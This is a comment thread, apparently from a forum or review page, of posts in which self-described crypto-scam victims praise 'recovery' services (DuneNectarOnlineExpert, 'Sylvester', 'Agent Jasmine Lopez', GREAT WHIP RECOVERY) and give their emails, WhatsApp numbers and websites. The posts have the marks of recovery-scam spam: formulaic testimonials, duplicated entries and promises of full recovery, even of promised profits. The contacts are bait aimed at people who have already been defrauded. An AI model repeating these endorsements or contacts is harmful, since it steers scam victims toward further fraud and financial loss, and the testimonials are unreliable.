    I hope this review gets to as many as possible because I am sure it will save many. On March 15, I received a message on Telegram inviting me to join a Cryptocurrency investment group. At first, I thought it was a harmless invitation. I joined and began to see how a specific crypto and forex trader was helping many people and even gifting out Bitcoin to his loyal followers. I was thrilled; many people in the group were reporting their daily successes and how they were earning a substantial amount. I was jealous; I saw people making a lot of money, but not me. I became furious and decided to contact the group's admin, not realizing I had fallen for their trap. That Telegram channel was a hoax, controlled by an organized team of scammers. Within 3 months of being on that platform, I had given out a whopping 11 Bitcoin in total. I was lost when I was logged out of the investment website and blocked from accessing their Telegram channel. I tried all the means I could think of at that moment, all to no avail. It went from days to weeks, and I still couldn't get back my lost Bitcoin. I was on Medium when I came across a review about digital assets recovery companies. There were quite a few of them, but DuneNectarOnlineExpert caught my attention. I copied their email ( Support @ Dunenectaronlineexpert . Com ), filed a report, and my task was attended to with utmost urgency. After back and forth with this team of cybersecurity experts, DuneNectarOnlineExpert successfully traced the Bitcoin to the scammers' wallet, and it was successfully reclaimed. The team of DuneNectarOnlineExpert was incredibly helpful in recovering my lost Bitcoin. Telegram: T.me/Dunenectarwebexpert WhatApp: +(1252-271-8900)

  • 11.01.26 03:16 austinjarvis

    I lost £75,000 in a Bitcoin scam. Scammers used deepfake videos to make it seem like Elon Musk himself pitched the deal. These deepfakes swap faces onto real people with AI. They look so real you can't spot the trick at first. They drew me in with talk of fast cash. Double your money in weeks, they said. Videos showed Musk explaining simple steps to join. I bit. Sent my Bitcoin bit by bit. First small amounts worked. Then I dumped my full savings. Boom. Funds vanished. No more contact. My bank account empty. Bills piled up. Loans to cover rent and food. Sleep gone. Stress hit hard. Felt like my whole life crashed. A mate saw my pain. He shared his own story from last year. Same scam type. He pointed me to Sylvester, a recovery agent. Reach him at Yt7cracker@gmail . com. Or WhatsApp + 1 512 577 7957. Or + 44 7428 662701. Sylvester got to work fast. Tracked the blockchain trails. Dealt with exchanges. Fought the scammers' tricks. Weeks later, my Bitcoin came back. Even the profits they promised. Debt lifted. Life back on track. If you're hit, contact him now.

  • 12.01.26 16:24 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I found someone Agent Jasmine Lopez ([email protected]) ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it. Contact her at [email protected] WhatsApp at +44 736-644-5035.

  • 19.01.26 13:04 Kelvin Alfons

    Hello everyone. I’d like to share my personal experience from one of the most challenging times in my life. I’m based in Sydney, Australia, and on November 13, 2025, I fell victim to a fraudulent cryptocurrency investment platform that promised substantial financial growth.  Believing their claims, I invested a total of $220,000 with the expectation of earning solid returns. However, when I attempted to withdraw my funds, all communication abruptly stopped. My calls were ignored, my emails went unanswered, and I was left feeling completely powerless. Like many others, I had heard that Bitcoin transactions are impossible to trace, so I assumed my money was lost forever.  After some time, I discovered information about GREAT WHIP RECOVERY CYBER SERVICES, a reputable digital asset recovery firm. I decided to reach out to them, and to my astonishment, they were able to help me recover the full amount I had lost.  I’m sharing my story in the hope that it may help someone else who is going through a similar situation and looking for support. Their contact is, Website: https://greatwhiprecoveryc.wixsite.com/greatwhip-site Email:[email protected] Call: +1(406)2729101

  • 19.01.26 13:05 Kelvin Alfons

    Hello everyone. I’d like to share my personal experience from one of the most challenging times in my life. I’m based in Sydney, Australia, and on November 13, 2025, I fell victim to a fraudulent cryptocurrency investment platform that promised substantial financial growth.  Believing their claims, I invested a total of $220,000 with the expectation of earning solid returns. However, when I attempted to withdraw my funds, all communication abruptly stopped. My calls were ignored, my emails went unanswered, and I was left feeling completely powerless. Like many others, I had heard that Bitcoin transactions are impossible to trace, so I assumed my money was lost forever.  After some time, I discovered information about GREAT WHIP RECOVERY CYBER SERVICES, a reputable digital asset recovery firm. I decided to reach out to them, and to my astonishment, they were able to help me recover the full amount I had lost.  I’m sharing my story in the hope that it may help someone else who is going through a similar situation and looking for support. Their contact is, Website: https://greatwhiprecoveryc.wixsite.com/greatwhip-site Email:[email protected] Call: +1(406)2729101

  • 19.01.26 15:53 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I found someone Agent Jasmine Lopez ([email protected]) ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it. Contact her at [email protected] WhatsApp at +44 736-644-5035.

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